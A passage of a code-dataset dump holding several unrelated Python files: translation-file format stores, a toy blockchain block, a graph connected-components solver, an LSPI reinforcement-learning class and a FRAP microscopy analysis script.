lang\n\t\t\t\tif comment:\n\t\t\t\t\tunit.comment = comment\n\t\t\t\t\tcomment = None\n\t\t\t\tself.units.append(unit)\n\t\t\t\tprev_unit = unit\n\n\tdef serialize(self):\n\t\tprops = jproperties.Properties()\n\t\tfor unit in self.units:\n\t\t\tif hasattr(unit, \"comment\"):\n\t\t\t\tprops.nodes.append(jproperties.Comment(unit.comment))\n\t\t\tif unit.variants_key:\n\t\t\t\tprops[unit.key] = unit.variants_values[0]\n\t\t\t\tvar_list = [val for val in list(unit.variants_values.values())[1:]]\n\t\t\t\tprops[unit.variants_key] = \";\".join(var_list)\n\t\t\telse:\n\t\t\t\tprops[unit.key] = unit.value\n\n\t\treturn str(props)\n\n\nclass XMLStore(Store):\n\t\"\"\"\n\tBase class for XML-based file stores\n\t\"\"\"\n\tdef _element(self, name, append_to, text=\"\"):\n\t\te = ElementTree.Element(name)\n\t\tif text:\n\t\t\te.text = text\n\t\tappend_to.append(e)\n\t\treturn e\n\n\tdef _pretty_print(self, input):\n\t\tfrom xml.dom import minidom\n\t\txml = minidom.parseString(input)\n\t\t# passing an encoding to toprettyxml() makes it return bytes... sigh.\n\t\treturn str(xml.toprettyxml(encoding=self.encoding), encoding=self.encoding)\n\n\nclass TSStore(XMLStore):\n\tGLOBS = [\"*.ts\"]\n\tVERSION = \"2.1\"\n\n\tdef read(self, file, lang, srclang=None):\n\t\txml = ElementTree.parse(file)\n\t\tlang = xml.getroot().attrib[\"language\"]\n\t\tfor context in xml.findall(\"context\"):\n\t\t\tcontext_name = context.findtext(\"name\")\n\t\t\tfor message in context.findall(\"message\"):\n\t\t\t\tsource = message.findtext(\"source\")\n\t\t\t\ttranslation = message.find(\"translation\")\n\t\t\t\ttranslation_type = translation.attrib.get(\"type\")\n\t\t\t\t\n\t\t\t\ti = 0\n\t\t\t\tvar_dict = {}\n\t\t\t\tif message.attrib.get(\"numerus\"):\n\t\t\t\t\tfor numerusform in translation.findall(\"numerusform\"):\n\t\t\t\t\t\tvar_dict[i] = numerusform.text\n\t\t\t\t\tunit = Unit(source, \"\", source, var_dict)\n\t\t\t\telse:\n\t\t\t\t\tunit = Unit(source, translation.text or \"\")\n\t\t\t\tunit.lang = lang\n\t\t\t\tunit.context = context_name\n\t\t\t\tfor location in message.findall(\"location\"):\n\t\t\t\t\tunit.occurrences.append((\n\t\t\t\t\t\tlocation.attrib[\"filename\"],\n\t\t\t\t\t\tlocation.attrib[\"line\"],\n\t\t\t\t\t))\n\t\t\t\tif translation_type == \"obsolete\":\n\t\t\t\t\tunit.obsolete = True\n\t\t\t\telif translation_type == \"unfinished\":\n\t\t\t\t\tunit.state = State.UNFINISHED\n\t\t\t\tself.units.append(unit)\n\n\t\t\tif srclang:\n\t\t\t\t# Create a \"source\" unit as well\n\t\t\t\tsrcunit = Unit(source, source)\n\t\t\t\tsrcunit.lang = srclang\n\t\t\t\tsrcunit.occurrences = unit.occurrences[:]\n\t\t\t\tsrcunit.context = context_name\n\t\t\t\tsrcunit.obsolete = unit.obsolete\n\t\t\t\tsrcunit.state = unit.state\n\t\t\t\tself.units.append(srcunit)\n\n\tdef serialize(self):\n\t\troot = ElementTree.Element(\"TS\")\n\t\troot.attrib[\"version\"] = self.VERSION\n\t\t# NOTE: We assume all units are the same language for now\n\t\troot.attrib[\"language\"] = self.units[0].lang\n\t\tcontexts = {}\n\t\tfor unit in self.units:\n\t\t\tif unit.context not in contexts:\n\t\t\t\te = self._element(\"context\", root)\n\t\t\t\tce = self._element(\"name\", e, text=unit.context)\n\t\t\t\tcontexts[unit.context] = e\n\n\t\t\tunit_element = self._element(\"message\", contexts[unit.context])\n\t\t\tsource = self._element(\"source\", unit_element, text=unit.key)\n\t\t\tif hasattr(unit, \"comment\"):\n\t\t\t\tcomment = self._element(\"comment\", unit_element, text=unit.comment)\n\t\t\tif unit.variants_key:\n\t\t\t\tunit_element.attrib[\"numerus\"] = \"yes\"\n\t\t\t\ttranslation = self._element(\"translation\", unit_element)\n\t\t\t\tfor i in unit.variants_values:\n\t\t\t\t\tnumerusform = self._element(\"numerusform\", translation, text=\n\t\t\t\t\t\tunit.variants_values[i])\n\t\t\telse:\n\t\t\t\ttranslation = self._element(\"translation\", unit_element, text=unit.value)\n\t\t\tif unit.obsolete:\n\t\t\t\ttranslation.attrib[\"type\"] = \"obsolete\"\n\n\t\treturn self._pretty_print(ElementTree.tostring(root))\n\n\nclass TMXStore(XMLStore):\n\tGLOBS = [\"*.tmx\"]\n\tVERSION = \"1.4\"\n\tNAMESPACES = {\n\t\t\"xml\": \"http://www.w3.org/XML/1998/namespace\",\n\t}\n\n\tdef merged_units(self):\n\t\t\"\"\"\n\t\tReturns a list of (key, [unit1, unit2, ...]) pairs\n\t\tfor all the units in the Store.\n\t\t\"\"\"\n\t\tret = OrderedDict()\n\t\tfor unit in self.units:\n\t\t\tif unit.key not in ret:\n\t\t\t\tret[unit.key] = []\n\t\t\tret[unit.key].append(unit)\n\t\treturn ret\n\n\tdef read(self, file, lang):\n\t\txml = ElementTree.parse(file)\n\t\troot = xml.getroot()\n\t\theader = root.find(\"header\")\n\t\tsrclang = header.attrib[\"srclang\"]\n\t\tfor tu in xml.find(\"body\").findall(\"tu\"):\n\t\t\tslang = tu.attrib.get(\"srclang\", srclang)\n\t\t\tsource = tu.find(\"tuv[@xml:lang='%s']\" % (slang), self.NAMESPACES)\n\t\t\tsource_text = source.find(\"seg\").text\n\t\t\tfor tuv in tu.findall(\"tuv\"):\n\t\t\t\t# Both source and targets are created as units.\n\t\t\t\t# Source units will look like (source, source) - translations of themselves\n\t\t\t\ttext = tuv.find(\"seg\").text\n\t\t\t\tunit = Unit(source_text, text)\n\t\t\t\tunit.lang = tuv.attrib[\"{http://www.w3.org/XML/1998/namespace}lang\"]\n\t\t\t\tself.units.append(unit)\n\n\tdef serialize(self):\n\t\troot = ElementTree.Element(\"tmx\")\n\t\troot.attrib[\"version\"] = self.VERSION\n\t\theader = self._element(\"header\", root)\n\t\theader.attrib[\"segtype\"] = \"sentence\"\n\t\theader.attrib[\"o-tmf\"] = self.encoding\n\t\theader.attrib[\"datatype\"] = \"PlainText\"\n\n\t\tbody = self._element(\"body\", root)\n\t\tfor key, units in self.merged_units().items():\n\t\t\ttu = self._element(\"tu\", body)\n\t\t\tfor unit in units:\n\t\t\t\ttuv = self._element(\"tuv\", tu)\n\t\t\t\ttuv.attrib[\"xml:lang\"] = unit.lang\n\t\t\t\tif unit.variants_key:\n\t\t\t\t\tseg = self._element(\"seg\", tuv, str(unit.variants_values))\n\t\t\t\telse:\n\t\t\t\t\tseg = self._element(\"seg\", tuv, unit.value)\n\n\t\treturn self._pretty_print(ElementTree.tostring(root))\n\n\ndef guess_format(path):\n\t\"\"\"\n\tReturn a Store class that can read \\a path.\n\n\tRaises ValueError if no suitable class was found.\n\n\tNOTE: Currently only looks at file extensions\n\t\"\"\"\n\tfrom fnmatch import fnmatch\n\n\tfor cls in globals().values():\n\t\tif type(cls) is type and issubclass(cls, Store):\n\t\t\tfor glob in cls.GLOBS:\n\t\t\t\tif fnmatch(path, glob):\n\t\t\t\t\treturn cls\n\n\traise ValueError(\"Unknown format: %r\" % (path))\n","sub_path":"ttk2/formats/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"417644850","text":"import time\r\nfrom crypto_hash import crypto_hash\r\n\r\nclass Block:\r\n\r\n#Block module\r\n def __init__(self, timestamp, last_hash, hash, data):\r\n self.timestamp = timestamp\r\n self.last_hash = last_hash\r\n self.hash = hash\r\n self.data = data\r\n\r\n def __repr__(self):\r\n return (\r\n 'Block('\r\n f'timestamp: {self.timestamp}, '\r\n f'last_hash: {self.last_hash}, '\r\n f'hash: {self.hash}, '\r\n f'data: {self.data})'\r\n )\r\n\r\n \r\n \r\n \r\n @staticmethod\r\n\r\n def mine_block(last_block, data):\r\n #mine block based on the last_block and data.\r\n timestamp = time.time()\r\n last_hash = last_block.hash\r\n hash = crypto_hash(timestamp, last_hash, data)\r\n return Block(timestamp, last_hash, hash, data)\r\n\r\n\r\n \r\n \r\n \r\n #generating genesis block.\r\n @staticmethod\r\n def genesis():\r\n return Block(1, 'genesis_last_hash', 'genesis_hash', [])\r\n\r\ndef main():\r\n genesis_block = Block.genesis()\r\n block = Block.mine_block(genesis_block, 'slurp')\r\n print(block)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"118773678","text":"#Uses python3\n\nimport sys\nfrom collections import defaultdict\n\nclass Vertex():\n def __init__(self, index):\n self.index = index\n self.visited = False\n self.component = None\n\nclass Graph():\n def __init__(self, edges, vertices):\n\n # create a dict with vertex as key and list of its neighbours as values\n self.adj = defaultdict(list)\n\n for (a, b) in edges:\n self.adj[vertices[a-1]].append(vertices[b-1])\n self.adj[vertices[b-1]].append(vertices[a-1])\n \n self.vertices = vertices\n self.components = 0\n \n def explore(self, v):\n\n # pre-vist block\n v.visited = True\n v.component = self.components\n\n # explore each neighbour of the vertex \n for neighbour in self.adj[v]:\n if not neighbour.visited:\n self.explore(neighbour)\n # post-visit block\n \n\n def DFS(self):\n \n for v in self.vertices:\n # explore each vertex (and its neighbours)\n if not v.visited:\n self.explore(v)\n # once all neighbours of the vertex have been explored, they form a single connected component\n self.components += 1\n\n\ndef number_of_components(graph):\n\n graph.DFS()\n return graph.components\n\nif __name__ == '__main__':\n input = sys.stdin.read()\n data = list(map(int, input.split()))\n n, m = data[0:2]\n\n vertices = [Vertex(i) for i in range(n)]\n\n data = data[2:]\n edges = list(zip(data[0:(2 * m):2], data[1:(2 * m):2])) \n\n graph = Graph(edges, vertices)\n print(number_of_components(graph))\n","sub_path":"week1_graph_decomposition1/2_adding_exits_to_maze/connected_components.py","file_name":"connected_components.py","file_ext":"py","file_size_in_byte":1640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"360334275","text":"# -*- coding: utf-8 -*-\n\"\"\"Contains main interface to LSPI algorithm.\"\"\"\nimport math\nimport gym\nimport numpy as np\nimport scipy.linalg\nimport sys\nimport quanser_robots\n\nfrom Challenge_2.LSPI.Policy import Policy\nfrom Challenge_2.Common.ReplayMemory import ReplayMemory\nfrom Challenge_2.Common.Util import create_initial_samples, normalize_state\n\n\nclass LSPI(object):\n\n def __init__(self, env: gym.Env, policy: Policy, discrete_actions: np.ndarray, normalize: bool, low: np.ndarray, high: np.ndarray,\n gamma: float, theta: float, samples_count: int, full_episode: bool = False):\n \"\"\"\n Initialize an LSPI container which can be used to find good weights for the given policy.\n\n :param env: the underlying environment\n :param policy: the policy which will be optimized\n :param discrete_actions: discrete actions numpy array\n :param normalize: whether to normalize the observations\n :param low: low limits for the observation space (used for normalization)\n :param high: high limits for the observation space (used for normalization)\n :param gamma: discount factor\n :param theta: convergence criterion for training\n :param samples_count: the number of samples to train on\n :param full_episode: whether the initial sampling should do a full episode (needed for monitor to work..)\n \"\"\"\n\n self.env = env\n self.normalize = normalize\n self.gamma = gamma\n self.theta = theta\n\n self.dim_obs = env.observation_space.shape[0]\n self.dim_action = env.action_space.shape[0]\n\n self.discrete_actions = discrete_actions\n print(\"Used discrete actions: \", discrete_actions)\n\n self.low = low\n self.high = high\n\n # transition: observation, action, reward, next observation, done\n self.transition_size = self.dim_obs + self.dim_action + 1 + self.dim_obs + 1\n\n self.ACTION_IDX = self.dim_obs\n self.REWARD_IDX = self.dim_obs + self.dim_action\n self.NEXT_OBS_IDX = self.dim_obs + self.dim_action + 1\n self.DONE_IDX = -1\n\n # use the replay memory to store our samples\n self.memory = ReplayMemory(samples_count, self.transition_size)\n print(\"Creating samples...\", end=\"\")\n sys.stdout.flush()\n create_initial_samples(env, self.memory, samples_count, discrete_actions,\n normalize=normalize, low=self.low, high=self.high, full_episode=full_episode)\n print(\"done.\")\n\n self.policy = policy\n\n def LSTDQ_iteration(self, samples: np.ndarray, policy: Policy, precondition_value: float = .0001,\n use_optimized: bool = False):\n \"\"\"\n Compute Q value function of current policy via LSTDQ iteration.\n If a matrix has full rank: scipy.linalg solver\n else: Least squares solver\n :param samples: data samples\n :param policy: policy to work with\n :param precondition_value: helps to ensure few samples give a matrix of full rank, choose 0 if not desired\n :param use_optimized: whether to use the \"optimized\" version to compute the next weights. Does not compute\n inverse of A, but it is slower due to a necessary loop.\n :return: the next weights of the policy\n \"\"\"\n\n k = policy.basis_function.size()\n\n obs = samples[:, 0: self.ACTION_IDX]\n action_idx = samples[:, self.ACTION_IDX]\n reward = samples[:, self.REWARD_IDX: self.NEXT_OBS_IDX]\n next_obs = samples[:, self.NEXT_OBS_IDX: self.DONE_IDX]\n done = samples[:, self.DONE_IDX].astype(np.bool)\n\n phi = policy.basis_function(obs, action_idx)\n phi_next = np.zeros_like(phi)\n\n if np.any(~done):\n sel_next_obs = next_obs[~done]\n best_action = policy.get_best_action(sel_next_obs)\n phi_next[~done, :] = policy.basis_function(sel_next_obs, best_action)\n\n if not use_optimized:\n A = (phi.T @ (phi - self.gamma * phi_next) + np.identity(k) * precondition_value)\n b = (phi.T @ reward)\n\n # this is just to verify the matrix computations are correct and compared against a slower loop approach\n # a_mat, b_vec, phi_sa, phi_sprime = LSTDQ_iteration_validation(samples, precondition_value)\n\n rank_A = np.linalg.matrix_rank(A)\n\n if rank_A == k:\n w = scipy.linalg.solve(A, b)\n else:\n # print(f'A matrix does not have full rank {k} > {rank_A}. Using least squares solver.')\n w = scipy.linalg.lstsq(A, b)[0]\n\n else:\n # B is the approximate inverse of the A matrix from above\n # This avoids computing the inverse of A, but introduces a necessary loop,\n # because each updated is dependend on the previous B.\n # Therefor, we do not reconded using this.\n B = (1 / precondition_value) * np.identity(k)\n b = 0\n for i in range(len(phi)):\n p = phi[i].reshape(-1, 1)\n pn = phi_next[i].reshape(-1, 1)\n\n top = B @ (p @ (p - self.gamma * pn).T) @ B\n bottom = 1 + (p - self.gamma * pn).T @ B @ p\n B -= top / bottom\n b += p @ reward[i]\n\n w = B @ b\n\n return w.reshape((-1,))\n\n def LSTDQ_iteration_validation(self, samples: np.ndarray, precondition_value: float):\n \"\"\"\n loopy version of the above matrix LSTDQ to check for correctness of computation.\n :param samples: data samples\n :param precondition_value: Helps to ensure few samples give a matrix of full rank, choose 0 if not desired\n :return: a_mat, b_vec, phi, phi_next\n \"\"\"\n k = self.policy.basis_function.size()\n\n a_mat = np.zeros((k, k))\n np.fill_diagonal(a_mat, precondition_value)\n\n b_vec = np.zeros((k, 1))\n\n phi = []\n phi_next = []\n\n for sample in samples:\n\n obs = sample[0: self.ACTION_IDX]\n action_idx = sample[self.ACTION_IDX]\n reward = sample[self.REWARD_IDX: self.NEXT_OBS_IDX]\n next_obs = sample[self.NEXT_OBS_IDX: self.DONE_IDX]\n done = sample[self.DONE_IDX].astype(np.bool)\n\n phi_sa = (self.policy.basis_function.evaluate(obs, action_idx).reshape((-1, 1)))\n\n if not done:\n best_action = self.policy.best_action(next_obs)\n phi_sprime = (self.policy.basis_function.evaluate(next_obs, best_action).reshape((-1, 1)))\n else:\n phi_sprime = np.zeros((k, 1))\n\n phi.append(phi_sa)\n phi_next.append(phi_sprime)\n\n a_mat += phi_sa.dot((phi_sa - self.gamma * phi_sprime).T)\n b_vec += phi_sa * reward\n\n return a_mat, b_vec, np.array(phi), np.array(phi_next)\n\n def train(self, policy_step_episodes: int = 3, do_render: bool = True, max_policy_steps: int = 100):\n \"\"\"\n Execute LSTDQ_iteration multiple times and display intermediate results, if wanted.\n\n :param policy_step_episodes: the number of episodes which are simulated between policy update steps\n :param do_render: whethter to render the simulated episodes\n :param max_policy_steps: the maximum number of policy update steps\n \"\"\"\n\n delta = np.inf\n episodes = 0\n total_steps = 0\n\n episode_reward = 0\n episode_steps = 0\n\n print(\"Starting training\")\n policy_step = 0\n\n done = False\n obs = self.env.reset()\n while delta >= self.theta:\n if policy_step_episodes > 0:\n total_steps += 1\n episode_steps += 1\n\n if self.normalize:\n obs = normalize_state(self.env, obs, low=self.low, high=self.high)\n\n action_idx = self.policy.choose_action(obs)\n action = self.discrete_actions[action_idx]\n\n next_obs, reward, done, _ = self.env.step(action)\n\n if do_render and episode_steps % 12 == 0:\n self.env.render()\n\n episode_reward += reward\n\n obs = next_obs\n\n if done:\n obs = self.env.reset()\n episodes += 1\n print(\n \"Episode {:5d} -- total steps: {:8d} > avg reward: {:.10f} -- episode steps: {:4d} \"\n \"-- episode reward: {:5.5f} -- delta: {:6.10f}\".format(episodes, total_steps,\n episode_reward / episode_steps, episode_steps, episode_reward, delta))\n\n episode_steps = 0\n episode_reward = 0\n\n if policy_step_episodes == 0 or (done and episodes % policy_step_episodes == 0):\n # update the current policy\n new_weights = self.LSTDQ_iteration(self.memory.memory, self.policy)\n delta = np.linalg.norm(new_weights - self.policy.w)\n self.policy.w = new_weights\n\n print(f\"Policy ({policy_step}) delta: {delta}\")\n\n policy_step += 1\n\n if policy_step >= max_policy_steps:\n print(\"Reached max policy update steps. Stopped training.\")\n break\n\n print(\"Finished training\")\n","sub_path":"Challenge_2/LSPI/LSPI.py","file_name":"LSPI.py","file_ext":"py","file_size_in_byte":9372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"541878906","text":"import numpy as np\nimport pandas as pd\nfrom pycromanager import Bridge\nfrom shared.find_organelles import find_organelle, organelle_analysis, find_nuclear_nucleoli, nuclear_analysis\nfrom skimage.measure import label, regionprops_table\nfrom skimage.morphology import medial_axis\nimport shared.analysis as ana\nimport shared.dataframe as dat\nimport shared.display as dis\nimport shared.objects as obj\nimport shared.bleach_points as ble\nimport shared.math_functions as mat\nimport os\n\n# Please changes\n# data_source folder ends with /\ndata_source = \"D:/Xiaowei/data/20210319_CBB_nucleoliFRAPexposureIntensityAndNonCentroidPhotobleachingTest/\"\\\n \"WT_random/\"\nsave_name = 'dataAnalysis'\nanalyze_organelle = 'nucleoli' # only accepts 'sg' or 'nucleoli'\nfrap_start_delay = 4 # 50ms default = 4; 100ms default = 5; 200ms default = 6\n\n# values for analysis\ndata_c = 0\npos = 0\nnum_dilation = 3 # number of dilation from the coordinate;\n# determines analysis size of the analysis spots; default = 3\n\n# presets\nif analyze_organelle == 'sg':\n thresholding = 'na'\n # global thresholding method; choose in between 'na','otsu','yen', 'local-nucleoli' and 'local-sg'\n min_size = 5 # minimum size; sg default = 5\n max_size = 200 # maximum size; sg default = 200\nelse: # for 'nucleoli'\n thresholding = 'local-nucleoli'\n # global thresholding method; choose in between 'na','otsu','yen', 'local-nucleoli' and 'local-sg'\n min_size = 10 # minimum size; nucleoli default = 10\n max_size = 1000 # maximum size; nucleoli default = 1000;\n # larger ones are generally cells without nucleoli\n\n# modes\nmode_bleach_detection = 'single-offset' # only accepts 'single-raw' or 'single-offset'\nfrap_start_mode = 'min' # only accepts 'delay' or 'min'\nfitting_mode = 'single_exp' # accepts 'single_exp', 'double_exp', 'soumpasis', 'ellenberg', 'optimal'\n\n\"\"\"\n# ---------------------------------------------------------------------------------------------------\n# PLEASE DO NOT CHANGE AFTER THIS\n# ---------------------------------------------------------------------------------------------------\n\"\"\"\n\ndirs = [x[0] for x in os.walk(data_source)]\ndirs.pop(0)\nnum_dir = len(dirs)\n\nfor s in range(len(dirs)):\n folder = dirs[s].split('/')[-1]\n mf_name = dirs[s].split('/')[-2]\n print(\"### DATA PROCESSING: %s (%d / %d)\" % (folder, s+1, num_dir))\n data_path = dirs[s]\n cut_length = len(mf_name) + 2 # folder ends with /\n save_path = (\"%s/%s/%s/%s\" % (data_source[:-cut_length], save_name, mf_name, folder))\n pos = dirs[s].split('/')[-1].split('_')[1]\n # pos = dirs[s].split('_')[-1]\n\n # ----------------------------------------------------------------\n # FROM HERE: THE SAME AS frap_analysis.py\n # ----------------------------------------------------------------\n\n # --------------------------\n # LOAD MOVIE\n # --------------------------\n print(\"### Load movie ...\")\n data_log = pd.DataFrame({'pos': [pos]})\n\n # build up pycromanager bridge\n # first start up Micro-Manager (needs to be compatible version)\n bridge = Bridge()\n mmc = bridge.get_core()\n mm = bridge.get_studio()\n # load time series data\n store = mm.data().load_data(data_path, True)\n cb = mm.data().get_coords_builder()\n cb.t(0).p(0).c(0).z(0)\n # get max_t and acquisition time\n max_t = store.get_max_indices().get_t()\n pixels_tseries = dat.get_pixels_tseries(store, cb, data_c)\n acquire_time_tseries, real_time = dat.get_time_tseries(store, cb)\n data_log['acquire_time'] = [acquire_time_tseries]\n data_log['real_time'] = [real_time]\n\n # --------------------------------------\n # ORGANELLE ANALYSIS based on time 0\n # --------------------------------------\n print(\"### Image analysis: %s detection based on time 0 ...\" % analyze_organelle)\n\n # reference image of time 0\n # if decide to use other image as ref_image\n # be sure to check photobleaching correction for all reported intensities\n temp = store.get_image(cb.c(data_c).t(0).build())\n pix = np.reshape(temp.get_raw_pixels(), newshape=[temp.get_height(), temp.get_width()])\n\n if analyze_organelle == 'nucleoli':\n # nuclear detection (currently only doable for nucleoli staining image)\n label_nuclear, _ = find_nuclear_nucleoli(pix)\n data_log['num_nuclei_detected'] = [np.amax(label_nuclear)]\n print(\"Found %d nuclei.\" % data_log['num_nuclei_detected'][0])\n\n # organelle detection\n organelle_before_filter, organelle = find_organelle(pix, thresholding, min_size=min_size, max_size=max_size)\n label_organelle = label(organelle, connectivity=1)\n data_log['num_%s_detected' % analyze_organelle] = [obj.object_count(organelle)]\n print(\"Found %d %s.\" % (data_log['num_%s_detected' % analyze_organelle][0], analyze_organelle))\n\n # organelle pd dataset\n organelle_pd = organelle_analysis(pix, organelle, '%s' % analyze_organelle, pos)\n\n if analyze_organelle == 'nucleoli':\n # link nucleoli with corresponding nuclear\n round_x = [round(num) for num in organelle_pd['x']]\n round_y = [round(num) for num in organelle_pd['y']]\n organelle_pd['nuclear'] = obj.points_in_objects(label_nuclear, round_y, round_x)\n\n # nuclear pd dataset\n nuclear_pd = nuclear_analysis(label_nuclear, organelle_pd, pos)\n\n data_log['num_nucleoli_in_nuclei'] = [len(organelle_pd[organelle_pd['nuclear'] != 0])]\n print(\"Found %d out of %d nucleoli within nuclei.\" % (data_log['num_nucleoli_in_nuclei'][0],\n obj.object_count(organelle)))\n\n # ----------------------------------\n # BLEACH SPOTS DETECTION\n # ----------------------------------\n print(\"### Image analysis: bleach spots detection ...\")\n\n # load point_and_shoot log file\n log_pd = pd.read_csv('%s/PointAndShoot.log' % data_path, na_values=['.'], sep='\\t', header=None)\n data_log['num_aim_spots'] = [len(log_pd)]\n print(\"Aim to photobleach %d spots.\" % data_log['num_aim_spots'][0])\n log_pd.columns = ['time', 'aim_x', 'aim_y'] # reformat log_pd\n\n # get bleach_frame\n log_pd['bleach_frame'] = dat.get_frame(log_pd['time'], acquire_time_tseries)\n\n # get bleach spot coordinate\n coordinate_pd = ble.get_bleach_spots_coordinates(log_pd, store, cb, data_c, mode_bleach_detection, frap_start_delay)\n log_pd = pd.concat([log_pd, coordinate_pd], axis=1)\n\n # link pointer with corresponding organelle\n log_pd['%s' % analyze_organelle] = obj.points_in_objects(label_organelle, log_pd['x'], log_pd['y'])\n\n # calculate distance to organelle boundary\n _, distance_map = medial_axis(organelle, return_distance=True)\n distance_lst = []\n for i in range(len(log_pd)):\n distance_lst.append(distance_map[log_pd['y'][i]][log_pd['x'][i]])\n log_pd['distance'] = distance_lst\n\n # generate bleach spot mask and bleach spots dataframe (pointer_pd)\n bleach_spots, pointer_pd = ble.get_bleach_spots(log_pd, label_organelle, analyze_organelle, num_dilation)\n data_log['num_bleach_spots'] = [obj.object_count(bleach_spots)]\n print(\"%d spots passed filters for analysis.\" % data_log['num_bleach_spots'][0])\n\n # add bleach spots corresponding organelle measurements\n pointer_pd = dat.copy_based_on_index(pointer_pd, organelle_pd, '%s' % analyze_organelle, '%s' % analyze_organelle,\n ['%s_x' % analyze_organelle, '%s_y' % analyze_organelle,\n '%s_size' % analyze_organelle, '%s_mean_int' % analyze_organelle,\n '%s_circ' % analyze_organelle],\n ['x', 'y', 'size', 'raw_int', 'circ'])\n\n # --------------------------------------------------\n # FRAP CURVE ANALYSIS from bleach spots\n # --------------------------------------------------\n print(\"### Image analysis: FRAP curve calculation ...\")\n\n # create control spots mask\n ctrl_organelle = ~organelle_pd.index.isin(log_pd['%s' % analyze_organelle].tolist())\n ctrl_x = organelle_pd[ctrl_organelle]['x'].astype(int).tolist()\n ctrl_y = organelle_pd[ctrl_organelle]['y'].astype(int).tolist()\n ctrl_spots, ctrl_pd = ble.get_spots(ctrl_y, ctrl_x, pix, num_dilation)\n ctrl_pd.columns = ['x', 'y', 'ctrl_spots']\n num_ctrl_spots = obj.object_count(ctrl_spots)\n pointer_pd['num_ctrl_spots'] = [num_ctrl_spots] * len(pointer_pd)\n\n # get raw intensities for bleach spots and control spots\n pointer_pd['raw_int'] = ana.get_intensity(label(bleach_spots, connectivity=1), pixels_tseries)\n ctrl_pd['raw_int'] = ana.get_intensity(label(ctrl_spots, connectivity=1), pixels_tseries)\n ctrl_pd['pos'] = [pos] * num_ctrl_spots\n\n # link ctrl spots with corresponding organelle\n ctrl_pd['%s' % analyze_organelle] = obj.points_in_objects(label_organelle, ctrl_pd['x'], ctrl_pd['y'])\n\n print(\"### Image analysis: background correction ...\")\n # background intensity measurement\n bg_int_tseries = ana.get_bg_int(pixels_tseries)\n pointer_pd['bg_int'] = [bg_int_tseries] * len(pointer_pd)\n\n # background intensity fitting\n bg_fit = mat.fitting_linear(np.arange(0, len(bg_int_tseries), 1), bg_int_tseries)\n pointer_pd = dat.add_columns(pointer_pd, ['bg_linear_fit', 'bg_linear_r2', 'bg_linear_a', 'bg_linear_b'],\n [[bg_fit[0]] * len(pointer_pd), [bg_fit[1]] * len(pointer_pd),\n [bg_fit[2]] * len(pointer_pd), [bg_fit[3]] * len(pointer_pd)])\n\n # background correction\n # use original measurement if fitting does not exist\n if np.isnan(bg_fit[2]):\n bg = bg_int_tseries\n else:\n bg = bg_fit[0]\n pointer_pd['bg_cor_int'] = ana.bg_correction(pointer_pd['raw_int'], [bg] * len(pointer_pd))\n ctrl_pd['bg_cor_int'] = ana.bg_correction(ctrl_pd['raw_int'], [bg] * len(ctrl_pd))\n\n # filter control traces\n ctrl_pd_ft = ble.filter_ctrl(ctrl_pd)\n pointer_pd['num_ctrl_spots_ft'] = [len(ctrl_pd_ft)] * len(pointer_pd)\n data_log['num_ctrl_spots'] = len(ctrl_pd_ft)\n\n print(\"### Image analysis: photobleaching correction ...\")\n # photobleaching factor calculation\n if len(ctrl_pd_ft) != 0:\n pointer_pd = ble.frap_pb_correction(pointer_pd, ctrl_pd_ft)\n # normalize frap curve and measure mobile fraction and t-half based on curve itself\n frap_pd = ble.frap_analysis(pointer_pd, max_t, acquire_time_tseries, real_time, frap_start_delay,\n frap_start_mode)\n pointer_pd = pd.concat([pointer_pd, frap_pd], axis=1)\n\n # frap curve fitting\n print(\"### Imaging analysis: curve fitting ...\")\n pointer_pd = ble.frap_curve_fitting(pointer_pd)\n pointer_pd['pos'] = [pos] * len(pointer_pd)\n pointer_ft_pd = pointer_pd[pointer_pd['frap_filter_%s' % fitting_mode] == 1]\n data_log['num_frap_curves'] = [len(pointer_ft_pd)]\n print(\"%d spots passed filters for FRAP curve quality control.\" % data_log['num_frap_curves'][0])\n\n # --------------------------\n # OUTPUT\n # --------------------------\n print(\"### Export data ...\")\n\n storage_path = save_path\n if not os.path.exists(storage_path):\n os.makedirs(storage_path)\n\n # measurements\n # data_log\n data_log.to_csv('%s/data_log.txt' % storage_path, index=False, sep='\\t')\n # full dataset of all bleach spots\n pointer_pd.to_csv('%s/data_full.txt' % storage_path, index=False, sep='\\t')\n # dataset of control spots\n ctrl_pd.to_csv('%s/data_ctrl.txt' % storage_path, index=False, sep='\\t')\n # dataset of organelle\n organelle_pd.to_csv('%s/data_%s.txt' % (storage_path, analyze_organelle), index=False, sep='\\t')\n if analyze_organelle == 'nucleoli':\n nuclear_pd.to_csv('%s/data_nuclear.txt' % storage_path, index=False, sep='\\t')\n\n # images\n dis.plot_offset_map(pointer_pd, fitting_mode, 'bg', storage_path) # offset map\n dis.plot_raw_intensity(pointer_pd, ctrl_pd_ft, fitting_mode, 'bg', storage_path) # raw intensity\n dis.plot_pb_factor(pointer_pd, 'bg', storage_path) # photobleaching factor\n dis.plot_corrected_intensity(pointer_pd, fitting_mode, 'bg', storage_path) # intensity after dual correction\n dis.plot_normalized_frap(pointer_pd, fitting_mode, 'bg', storage_path) # normalized FRAP curves\n # normalized FRAP curves after filtering with fitting\n # individual normalized FRAP curves with fitting\n dis.plot_frap_fitting(pointer_pd, fitting_mode, 'bg', storage_path)\n\n else:\n # --------------------------\n # OUTPUT\n # --------------------------\n print(\"### Export data ...\")\n\n storage_path = save_path\n if not os.path.exists(storage_path):\n os.makedirs(storage_path)\n # data_log\n data_log.to_csv('%s/data_log.txt' % storage_path, index=False, sep='\\t')\n\nprint(\"DONE\")\n","sub_path":"analysis/frap_02_analysis_multi-FOV_single-well.py","file_name":"frap_02_analysis_multi-FOV_single-well.py","file_ext":"py","file_size_in_byte":13038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"51510521","text":"\"\"\"\nCreated on Mar 19, 2015\n\n@author: Jason Bowles\n\"\"\"\nfrom rawdata_emca.processor import BaseProcessor\nfrom rawdata_emca.runner.config_entry import ConfigEntry\nfrom rawdata_emca.utilities import csvsort\nimport os\nimport 